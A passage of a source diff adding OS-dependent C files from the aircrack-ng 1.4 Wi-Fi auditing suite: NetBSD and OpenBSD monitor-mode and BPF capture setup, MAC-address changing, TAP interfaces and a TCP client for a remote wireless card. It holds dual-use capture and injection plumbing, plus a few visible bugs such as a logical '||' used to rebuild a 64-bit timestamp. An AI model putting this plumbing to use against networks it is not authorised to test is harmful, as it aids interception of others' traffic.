+	char buf[64];
+	int fd = -1;
+	struct ifreq ifr;
+	unsigned int dlt = DLT_IEEE802_11_RADIO;
+	int s;
+	unsigned int flags;
+	struct ifmediareq ifmr;
+	int * mwords;
+	struct priv_nbsd * pn = wi_priv(wi);
+	unsigned int size = sizeof(pn->pn_buf);
+
+	/* basic sanity check */
+	if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1;
+
+	/* open wifi */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) return -1;
+	pn->pn_s = s;
+
+	/* set iface up and promisc */
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock;
+
+	flags = ifr.ifr_flags;
+	flags |= IFF_UP | IFF_PROMISC;
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	ifr.ifr_flags = flags & 0xffff;
+	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock;
+
+	/* monitor mode */
+	memset(&ifmr, 0, sizeof(ifmr));
+	strncpy(ifmr.ifm_name, iface, IFNAMSIZ);
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock;
+
+	assert(ifmr.ifm_count != 0);
+
+	mwords = (int *) malloc(ifmr.ifm_count * sizeof(int));
+	if (!mwords) goto close_sock;
+	ifmr.ifm_ulist = mwords;
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
+	{
+		free(mwords);
+		goto close_sock;
+	}
+	free(mwords);
+
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
+	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock;
+
+	/* setup ifreq for chan that may be used in future */
+	strncpy(pn->pn_ireq.i_name, iface, IFNAMSIZ);
+
+	/* same for ifreq [mac addr] */
+	strncpy(pn->pn_ifr.ifr_name, iface, IFNAMSIZ);
+
+	/* open bpf */
+	for (i = 0; i < 256; i++)
+	{
+		snprintf(buf, sizeof(buf), "/dev/bpf%d", i);
+
+		fd = open(buf, O_RDWR);
+		if (fd < 0)
+		{
+			if (errno != EBUSY) return -1;
+			continue;
+		}
+		else
+			break;
+	}
+
+	if (fd < 0) goto close_sock;
+
+	if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf;
+
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+
+	if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf;
+
+	if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf;
+
+	if (ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf;
+
+	dlt = 1;
+	if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf;
+
+	return fd;
+
+close_sock:
+	close(s);
+	return -1;
+close_bpf:
+	close(fd);
+	goto close_sock;
+}
+
+static int nbsd_fd(struct wif * wi)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+
+	return pn->pn_fd;
+}
+
+static int nbsd_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct ifaddrs *ifa, *p;
+	char * name = wi_get_ifname(wi);
+	int rc = -1;
+	struct sockaddr_dl * sdp;
+
+	if (getifaddrs(&ifa) == -1) return -1;
+
+	p = ifa;
+	while (p)
+	{
+		if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0)
+		{
+
+			sdp = (struct sockaddr_dl *) p->ifa_addr;
+			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
+			rc = 0;
+			break;
+		}
+
+		p = p->ifa_next;
+	}
+	freeifaddrs(ifa);
+
+	return rc;
+}
+
+static int nbsd_get_monitor(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int nbsd_get_rate(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 1000000;
+}
+
+static int nbsd_set_rate(struct wif * wi, int rate)
+{
+	if (wi || rate)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int nbsd_set_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+	struct ifreq * ifr = &pn->pn_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(pn->pn_s, SIOCSIFADDR, ifr);
+}
+
+static struct wif * nbsd_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_nbsd * pn;
+	int fd;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*pn));
+	if (!wi) return NULL;
+	wi->wi_read = nbsd_read;
+	wi->wi_write = nbsd_write;
+	wi->wi_set_channel = nbsd_set_channel;
+	wi->wi_get_channel = nbsd_get_channel;
+	wi->wi_close = nbsd_close;
+	wi->wi_fd = nbsd_fd;
+	wi->wi_get_mac = nbsd_get_mac;
+	wi->wi_set_mac = nbsd_set_mac;
+	wi->wi_get_rate = nbsd_get_rate;
+	wi->wi_set_rate = nbsd_set_rate;
+	wi->wi_get_monitor = nbsd_get_monitor;
+
+	/* setup iface */
+	fd = do_nbsd_open(wi, iface);
+	if (fd == -1)
+	{
+		do_free(wi);
+		return NULL;
+	}
+
+	/* setup private state */
+	pn = wi_priv(wi);
+	pn->pn_fd = fd;
+
+	return wi;
+}
+
+struct wif * wi_open_osdep(char * iface) { return nbsd_open(iface); }
+
+EXPORT int get_battery_state(void)
+{
+#if defined(__FreeBSD__)
+	int value;
+	size_t len;
+
+	len = 1;
+	value = 0;
+	sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
+	if (value == 0)
+	{
+		sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
+		value = value * 60;
+	}
+	else
+	{
+		value = 0;
+	}
+
+	return (value);
+#elif defined(_BSD_SOURCE)
+	struct apm_power_info api;
+	int apmfd;
+	if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0;
+	if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0)
+	{
+		close(apmfd);
+		return 0;
+	}
+	close(apmfd);
+	if (api.battery_state == APM_BATT_UNKNOWN
+		|| api.battery_state == APM_BATTERY_ABSENT
+		|| api.battery_state == APM_BATT_CHARGING
+		|| api.ac_state == APM_AC_ON)
+	{
+		return 0;
+	}
+	return ((int) (api.minutes_left)) * 60;
+#else
+	return 0;
+#endif
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/netbsd_tap.c Added

@@ -0,0 +1,217 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for NetBSD. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "osdep.h"
+
+struct tip_nbsd
+{
+	int tn_fd;
+	int tn_ioctls;
+	struct ifreq tn_ifr;
+	char tn_name[MAX_IFACE_NAME];
+	int tn_destroy;
+};
+
+static int ti_do_open_nbsd(struct tif * ti, char * name)
+{
+	int fd;
+	char * iface = "/dev/tap";
+	struct stat st;
+	struct tip_nbsd * priv = ti_priv(ti);
+	int s;
+	unsigned int flags;
+	struct ifreq * ifr;
+
+	/* open tap */
+	if (name)
+		iface = name;
+	else
+		priv->tn_destroy = 1; /* we create, we destroy */
+
+	fd = open(iface, O_RDWR);
+	if (fd == -1) return -1;
+
+	/* get name */
+	if (fstat(fd, &st) == -1) goto err;
+	snprintf(priv->tn_name,
+			 sizeof(priv->tn_name) - 1,
+			 "%s",
+			 devname(st.st_rdev, S_IFCHR));
+
+	/* bring iface up */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) goto err;
+	priv->tn_ioctls = s;
+
+	/* get flags */
+	ifr = &priv->tn_ifr;
+	memset(ifr, 0, sizeof(*ifr));
+	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->tn_name);
+	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
+	flags = ifr->ifr_flags;
+
+	/* set flags */
+	flags |= IFF_UP;
+	ifr->ifr_flags = flags & 0xffff;
+	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
+
+	return fd;
+err:
+	/* XXX destroy */
+	close(fd);
+	return -1;
+err2:
+	close(s);
+	goto err;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_destroy(struct tip_nbsd * priv)
+{
+	ioctl(priv->tn_ioctls, SIOCIFDESTROY, &priv->tn_ifr);
+}
+
+static void ti_close_nbsd(struct tif * ti)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+
+	if (priv->tn_destroy) ti_destroy(priv);
+
+	close(priv->tn_fd);
+	close(priv->tn_ioctls);
+	ti_do_free(ti);
+}
+
+static char * ti_name_nbsd(struct tif * ti)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+
+	return priv->tn_name;
+}
+
+static int ti_set_mtu_nbsd(struct tif * ti, int mtu)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+
+	priv->tn_ifr.ifr_mtu = mtu;
+
+	return ioctl(priv->tn_ioctls, SIOCSIFMTU, &priv->tn_ifr);
+}
+
+static int ti_set_mac_nbsd(struct tif * ti, unsigned char * mac)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+	struct ifreq * ifr = &priv->tn_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(priv->tn_ioctls, SIOCSIFADDR, ifr);
+}
+
+static int ti_set_ip_nbsd(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+	struct ifaliasreq ifra;
+	struct sockaddr_in * s_in;
+
+	/* assume same size */
+	memset(&ifra, 0, sizeof(ifra));
+	strncpy(ifra.ifra_name, priv->tn_ifr.ifr_name, IFNAMSIZ);
+
+	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
+	s_in->sin_family = PF_INET;
+	s_in->sin_addr = *ip;
+	s_in->sin_len = sizeof(*s_in);
+
+	return ioctl(priv->tn_ioctls, SIOCAIFADDR, &ifra);
+}
+
+static int ti_fd_nbsd(struct tif * ti)
+{
+	struct tip_nbsd * priv = ti_priv(ti);
+
+	return priv->tn_fd;
+}
+
+static int ti_read_nbsd(struct tif * ti, void * buf, int len)
+{
+	return read(ti_fd(ti), buf, len);
+}
+
+static int ti_write_nbsd(struct tif * ti, void * buf, int len)
+{
+	return write(ti_fd(ti), buf, len);
+}
+
+static struct tif * ti_open_nbsd(char * iface)
+{
+	struct tif * ti;
+	struct tip_nbsd * priv;
+	int fd;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	ti->ti_name = ti_name_nbsd;
+	ti->ti_set_mtu = ti_set_mtu_nbsd;
+	ti->ti_close = ti_close_nbsd;
+	ti->ti_fd = ti_fd_nbsd;
+	ti->ti_read = ti_read_nbsd;
+	ti->ti_write = ti_write_nbsd;
+	ti->ti_set_mac = ti_set_mac_nbsd;
+	ti->ti_set_ip = ti_set_ip_nbsd;
+
+	/* setup iface */
+	fd = ti_do_open_nbsd(ti, iface);
+	if (fd == -1)
+	{
+		ti_do_free(ti);
+		return NULL;
+	}
+
+	/* setup private state */
+	priv = ti_priv(ti);
+	priv->tn_fd = fd;
+
+	return ti;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_nbsd(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/network.c Added

@@ -0,0 +1,533 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for using card via network.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <assert.h>
+#include <sys/select.h>
+#include <errno.h>
+
+#include "osdep.h"
+#include "network.h"
+
+#define QUEUE_MAX 666
+
+struct netqueue
+{
+	unsigned char q_buf[2048];
+	int q_len;
+
+	struct netqueue * q_next;
+	struct netqueue * q_prev;
+};
+
+struct priv_net
+{
+	int pn_s;
+	struct netqueue pn_queue;
+	struct netqueue pn_queue_free;
+	int pn_queue_len;
+};
+
+EXPORT int net_send(int s, int command, void * arg, int len)
+{
+	struct net_hdr * pnh;
+	char * pktbuf;
+	size_t pktlen;
+
+	// Validate command value
+	assert(command >= NET_RC || command <= HIGHEST_NET_COMMAND);
+	if (command < NET_RC || command > HIGHEST_NET_COMMAND)
+	{
+		return -1;
+	}
+
+	pktlen = sizeof(struct net_hdr) + len;
+
+	pktbuf = (char *) calloc(sizeof(char), pktlen);
+	if (pktbuf == NULL)
+	{
+		perror("calloc");
+		goto net_send_error;
+	}
+
+	pnh = (struct net_hdr *) pktbuf;
+	pnh->nh_type = command;
+	pnh->nh_len = htonl(len);
+
+	memcpy(pktbuf + sizeof(struct net_hdr), arg, len);
+
+	for (;;)
+	{
+		ssize_t rc = send(s, pktbuf, pktlen, 0);
+
+		if ((size_t) rc == pktlen) break;
+
+		if (rc == EAGAIN || rc == EWOULDBLOCK || rc == EINTR) continue;
+
+		if (rc == ECONNRESET)
+			printf("Connection reset while sending packet!\n");
+
+		goto net_send_error;
+	}
+
+	free(pktbuf);
+	return 0;
+
+net_send_error:
+	free(pktbuf);
+	return -1;
+}
+
+EXPORT int net_read_exact(int s, void * arg, int len)
+{
+	ssize_t rc;
+	int rlen = 0;
+	char * buf = (char *) arg;
+	while (rlen < len)
+	{
+		rc = recv(s, buf, (len - rlen), 0);
+
+		if (rc < 1)
+		{
+			if (rc == -1 && (errno == EAGAIN || errno == EINTR))
+			{
+				usleep(100);
+				continue;
+			}
+
+			return -1;
+		}
+
+		buf += rc;
+		rlen += rc;
+	}
+
+	return 0;
+}
+
+EXPORT int net_get(int s, void * arg, int * len)
+{
+	struct net_hdr nh;
+	int plen;
+
+	if (net_read_exact(s, &nh, sizeof(nh)) == -1)
+	{
+		return -1;
+	}
+
+	plen = ntohl(nh.nh_len);
+	assert(plen <= *len && plen >= 0);
+
+	*len = plen;
+	if ((*len) && (net_read_exact(s, arg, *len) == -1))
+	{
+		return -1;
+	}
+
+	return nh.nh_type;
+}
+
+static void queue_del(struct netqueue * q)
+{
+	q->q_prev->q_next = q->q_next;
+	q->q_next->q_prev = q->q_prev;
+}
+
+static void queue_add(struct netqueue * head, struct netqueue * q)
+{
+	struct netqueue * pos = head->q_prev;
+
+	q->q_prev = pos;
+	q->q_next = pos->q_next;
+	q->q_next->q_prev = q;
+	pos->q_next = q;
+}
+
+#if 0
+static int queue_len(struct netqueue *head)
+{
+	struct netqueue *q = head->q_next;
+	int i = 0;
+
+	while (q != head) {
+		i++;
+		q = q->q_next;
+	}
+
+	return i;
+}
+#endif
+
+static struct netqueue * queue_get_slot(struct priv_net * pn)
+{
+	struct netqueue * q = pn->pn_queue_free.q_next;
+
+	if (q != &pn->pn_queue_free)
+	{
+		queue_del(q);
+		return q;
+	}
+
+	if (pn->pn_queue_len++ > QUEUE_MAX) return NULL;
+
+	return malloc(sizeof(*q));
+}
+
+static void net_enque(struct priv_net * pn, void * buf, int len)
+{
+	struct netqueue * q;
+
+	q = queue_get_slot(pn);
+	if (!q) return;
+
+	q->q_len = len;
+	assert((int) sizeof(q->q_buf) >= q->q_len);
+	memcpy(q->q_buf, buf, q->q_len);
+	queue_add(&pn->pn_queue, q);
+}
+
+static int net_get_nopacket(struct priv_net * pn, void * arg, int * len)
+{
+	unsigned char buf[2048];
+	int l = sizeof(buf);
+	int c;
+
+	while (1)
+	{
+		l = sizeof(buf);
+		c = net_get(pn->pn_s, buf, &l);
+		if (c < 0) return c;
+
+		if (c != NET_PACKET && c > 0) break;
+
+		if (c > 0) net_enque(pn, buf, l);
+	}
+
+	assert(l <= *len);
+	memcpy(arg, buf, l);
+	*len = l;
+
+	return c;
+}
+
+static int net_cmd(struct priv_net * pn, int command, void * arg, int alen)
+{
+	uint32_t rc;
+	int len;
+	int cmd;
+
+	if (net_send(pn->pn_s, command, arg, alen) == -1)
+	{
+		return -1;
+	}
+
+	len = sizeof(rc);
+	cmd = net_get_nopacket(pn, &rc, &len);
+	if (cmd == -1)
+	{
+		return -1;
+	}
+	assert(cmd == NET_RC);
+	assert(len == sizeof(rc));
+
+	return ntohl(rc);
+}
+
+static int queue_get(struct priv_net * pn, void * buf, int len)
+{
+	struct netqueue * head = &pn->pn_queue;
+	struct netqueue * q = head->q_next;
+
+	if (q == head) return 0;
+
+	assert(q->q_len <= len);
+	memcpy(buf, q->q_buf, q->q_len);
+
+	queue_del(q);
+	queue_add(&pn->pn_queue_free, q);
+
+	return q->q_len;
+}
+
+static int
+net_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
+{
+	struct priv_net * pn = wi_priv(wi);
+	uint32_t buf[512]; // 512 * 4 = 2048
+	unsigned char * bufc = (unsigned char *) buf;
+	int cmd;
+	int sz = sizeof(*ri);
+	int l;
+	int ret;
+
+	/* try queue */
+	l = queue_get(pn, buf, sizeof(buf));
+	if (!l)
+	{
+		/* try reading form net */
+		l = sizeof(buf);
+		cmd = net_get(pn->pn_s, buf, &l);
+
+		if (cmd == -1) return -1;
+		if (cmd == NET_RC)
+		{
+			ret = ntohl((buf[0]));
+			return ret;
+		}
+		assert(cmd == NET_PACKET);
+	}
+
+	/* XXX */
+	if (ri)
+	{
+		// re-assemble 64-bit integer
+		ri->ri_mactime = __be64_to_cpu(((uint64_t) buf[0] << 32 || buf[1]));
+		ri->ri_power = __be32_to_cpu(buf[2]);
+		ri->ri_noise = __be32_to_cpu(buf[3]);
+		ri->ri_channel = __be32_to_cpu(buf[4]);
+		ri->ri_freq = __be32_to_cpu(buf[5]);
+		ri->ri_rate = __be32_to_cpu(buf[6]);
+		ri->ri_antenna = __be32_to_cpu(buf[7]);
+	}
+	l -= sz;
+	assert(l > 0);
+	if (l > len) l = len;
+	memcpy(h80211, &bufc[sz], l);
+
+	return l;
+}
+
+static int net_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_net * pn = wi_priv(wi);
+	uint32_t buf[2]; // only need 6 bytes, this provides 8
+	int cmd;
+	int sz = 6;
+
+	if (net_send(pn->pn_s, NET_GET_MAC, NULL, 0) == -1) return -1;
+
+	cmd = net_get_nopacket(pn, buf, &sz);
+	if (cmd == -1) return -1;
+	if (cmd == NET_RC) return ntohl(buf[0]);
+	assert(cmd == NET_MAC);
+	assert(sz == 6);
+
+	memcpy(mac, buf, 6);
+
+	return 0;
+}
+
+static int
+net_write(struct wif * wi, unsigned char * h80211, int len, struct tx_info * ti)
+{
+	struct priv_net * pn = wi_priv(wi);
+	int sz = sizeof(*ti);
+	unsigned char buf[2048];
+	unsigned char * ptr = buf;
+
+	/* XXX */
+	if (ti)
+		memcpy(ptr, ti, sz);
+	else
+		memset(ptr, 0, sizeof(*ti));
+
+	ptr += sz;
+	memcpy(ptr, h80211, len);
+	sz += len;
+
+	return net_cmd(pn, NET_WRITE, buf, sz);
+}
+
+static int net_set_channel(struct wif * wi, int chan)
+{
+	uint32_t c = htonl(chan);
+
+	return net_cmd(wi_priv(wi), NET_SET_CHAN, &c, sizeof(c));
+}
+
+static int net_get_channel(struct wif * wi)
+{
+	struct priv_net * pn = wi_priv(wi);
+
+	return net_cmd(pn, NET_GET_CHAN, NULL, 0);
+}
+
+static int net_set_rate(struct wif * wi, int rate)
+{
+	uint32_t c = htonl(rate);
+
+	return net_cmd(wi_priv(wi), NET_SET_RATE, &c, sizeof(c));
+}
+
+static int net_get_rate(struct wif * wi)
+{
+	struct priv_net * pn = wi_priv(wi);
+
+	return net_cmd(pn, NET_GET_RATE, NULL, 0);
+}
+
+static int net_get_monitor(struct wif * wi)
+{
+	return net_cmd(wi_priv(wi), NET_GET_MONITOR, NULL, 0);
+}
+
+static void do_net_free(struct wif * wi)
+{
+	assert(wi->wi_priv);
+	free(wi->wi_priv);
+	wi->wi_priv = 0;
+	free(wi);
+}
+
+static void net_close(struct wif * wi)
+{
+	struct priv_net * pn = wi_priv(wi);
+
+	close(pn->pn_s);
+	do_net_free(wi);
+}
+
+static int get_ip_port(char * iface, char * ip, const int ipsize)
+{
+	char * host;
+	char * ptr;
+	int port = -1;
+	struct in_addr addr;
+
+	host = strdup(iface);
+	if (!host) return -1;
+
+	ptr = strchr(host, ':');
+	if (!ptr) goto out;
+
+	*ptr++ = 0;
+
+	if (!inet_aton(host, &addr)) goto out; /* XXX resolve hostname */
+
+	assert(strlen(host) <= 15);
+	strncpy(ip, host, ipsize);
+	port = atoi(ptr);
+
+out:
+	free(host);
+	return port;
+}
+
+static int handshake(int s)
+{
+	if (s)
+	{
+	} /* XXX unused */
+	/* XXX do a handshake */
+	return 0;
+}
+
+static int do_net_open(char * iface)
+{
+	int s, port;
+	char ip[16];
+	struct sockaddr_in s_in;
+
+	port = get_ip_port(iface, ip, sizeof(ip) - 1);
+	if (port == -1) return -1;
+
+	memset(&s_in, 0, sizeof(struct sockaddr_in));
+	s_in.sin_family = PF_INET;
+	s_in.sin_port = htons(port);
+	if (!inet_aton(ip, &s_in.sin_addr)) return -1;
+
+	if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+		return -1;
+
+	printf("Connecting to %s port %d...\n", ip, port);
+
+	if (connect(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+	{
+		close(s);
+
+		printf("Failed to connect\n");
+
+		return -1;
+	}
+
+	if (handshake(s) == -1)
+	{
+		close(s);
+
+		printf("Failed to connect - handshake failed\n");
+
+		return -1;
+	}
+
+	printf("Connection successful\n");
+
+	return s;
+}
+
+static int net_fd(struct wif * wi)
+{
+	struct priv_net * pn = wi_priv(wi);
+
+	return pn->pn_s;
+}
+
+EXPORT struct wif * net_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_net * pn;
+	int s;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*pn));
+	if (!wi) return NULL;
+	wi->wi_read = net_read;
+	wi->wi_write = net_write;
+	wi->wi_set_channel = net_set_channel;
+	wi->wi_get_channel = net_get_channel;
+	wi->wi_set_rate = net_set_rate;
+	wi->wi_get_rate = net_get_rate;
+	wi->wi_close = net_close;
+	wi->wi_fd = net_fd;
+	wi->wi_get_mac = net_get_mac;
+	wi->wi_get_monitor = net_get_monitor;
+
+	/* setup iface */
+	s = do_net_open(iface);
+	if (s == -1)
+	{
+		do_net_free(wi);
+		return NULL;
+	}
+
+	/* setup private state */
+	pn = wi_priv(wi);
+	pn->pn_s = s;
+	pn->pn_queue.q_next = pn->pn_queue.q_prev = &pn->pn_queue;
+	pn->pn_queue_free.q_next = pn->pn_queue_free.q_prev = &pn->pn_queue_free;
+
+	return wi;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/network.h Added

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/openbsd.c Added

@@ -0,0 +1,572 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for OpenBSD.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+#include <sys/types.h>
+#include <sys/endian.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/param.h>
+#include <sys/sysctl.h>
+#include <net/bpf.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <net/if_media.h>
+#include <sys/ioctl.h>
+#include <net/if_dl.h>
+#include <sys/queue.h>
+#include <net/if_var.h>
+#include <net80211/ieee80211.h>
+#include <net80211/ieee80211_crypto.h>
+#include <frame.h>
+#include <sys/timeout.h>
+#define _KERNEL
+#include <machine/intr.h>
+#undef _KERNEL
+#include <net80211/ieee80211_node.h>
+#include <net80211/ieee80211_ioctl.h>
+#include <net80211/ieee80211_radiotap.h>
+#include <net80211/ieee80211_proto.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/uio.h>
+#include <assert.h>
+#include <ifaddrs.h>
+
+#include "osdep.h"
+
+#ifndef IEEE80211_RADIOTAP_F_FCS
+#define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */
+#endif
+
+#ifndef IEEE80211_IOC_CHANNEL
+#define IEEE80211_IOC_CHANNEL 0
+#endif
+
+#ifndef le32toh
+#define le32toh(x) htole32(x)
+#endif
+
+struct priv_obsd
+{
+	/* iface */
+	int po_fd;
+
+	/* rx */
+	int po_nocrc;
+
+	/* tx */
+	unsigned char po_buf[4096];
+	unsigned char * po_next;
+	int po_totlen;
+
+	/* setchan */
+	int po_s;
+	struct ifreq po_ifr;
+	struct ieee80211chanreq po_ireq;
+	int po_chan;
+};
+
+static void get_radiotap_info(struct priv_obsd * po,
+							  struct ieee80211_radiotap_header * rth,
+							  int * plen,
+							  struct rx_info * ri)
+{
+	uint32_t present;
+	uint8_t rflags = 0;
+	int i;
+	unsigned char * body = (unsigned char *) (rth + 1);
+	int dbm_power = 0, db_power = 0;
+
+	/* reset control info */
+	if (ri) memset(ri, 0, sizeof(*ri));
+
+	/* get info */
+	present = le32toh(rth->it_present);
+	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++)
+	{
+		if (!(present & (1 << i))) continue;
+
+		switch (i)
+		{
+			case IEEE80211_RADIOTAP_TSFT:
+				body += sizeof(uint64_t);
+				break;
+
+			case IEEE80211_RADIOTAP_FLAGS:
+				rflags = *((uint8_t *) body);
+			/* fall through */
+			case IEEE80211_RADIOTAP_RATE:
+				body += sizeof(uint8_t);
+				break;
+
+			case IEEE80211_RADIOTAP_CHANNEL:
+				if (ri)
+				{
+					ri->ri_channel = 1;
+				}
+				body += sizeof(uint16_t) * 2;
+				break;
+
+			case IEEE80211_RADIOTAP_FHSS:
+				body += sizeof(uint16_t);
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+				dbm_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+				dbm_power -= *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+				db_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTNOISE:
+				db_power -= *body++;
+				break;
+
+			default:
+				i = IEEE80211_RADIOTAP_EXT + 1;
+				break;
+		}
+	}
+
+	/* set power */
+	if (ri)
+	{
+		if (dbm_power)
+			ri->ri_power = dbm_power;
+		else
+			ri->ri_power = db_power;
+	}
+
+	/* XXX cache; drivers won't change this per-packet */
+	/* check if FCS/CRC is included in packet */
+	if (po->po_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS))
+	{
+		*plen -= IEEE80211_CRC_LEN;
+		po->po_nocrc = 1;
+	}
+}
+
+static unsigned char *
+get_80211(struct priv_obsd * po, int * plen, struct rx_info * ri)
+{
+	struct bpf_hdr * bpfh;
+	struct ieee80211_radiotap_header * rth;
+	void * ptr;
+	unsigned char ** data;
+	int * totlen;
+
+	data = &po->po_next;
+	totlen = &po->po_totlen;
+	assert(*totlen);
+
+	/* bpf hdr */
+	bpfh = (struct bpf_hdr *) (*data);
+	assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
+	*totlen -= bpfh->bh_hdrlen;
+
+	/* check if more packets */
